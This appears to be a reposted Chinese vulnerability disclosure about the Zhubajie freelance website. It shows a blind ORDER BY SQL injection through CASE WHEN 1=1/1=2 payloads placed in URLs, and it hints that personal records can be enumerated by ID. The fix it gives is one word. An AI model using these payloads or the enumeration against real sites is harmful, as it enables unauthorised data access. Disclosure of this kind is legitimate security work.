猪八戒网盲注及个人泄漏 - 网站安全 - 自学php

http://quan.zhubajie测试数据/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1. html

 

http://quan.zhubajie测试数据/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html

 

为 order by 注入。根据 when() 中 1=1 1=2 返回数据的排序方式进行盲注。

 

 

 

 

 

作者 Jannock

 

baid 范围为：1-12467 (发表前)

可以直接遍列哦。。。。

 

 

 

 

修复方案：权限。。。

查看更多关于猪八戒网盲注及个人泄漏 - 网站安全 - 自学php的详细内容...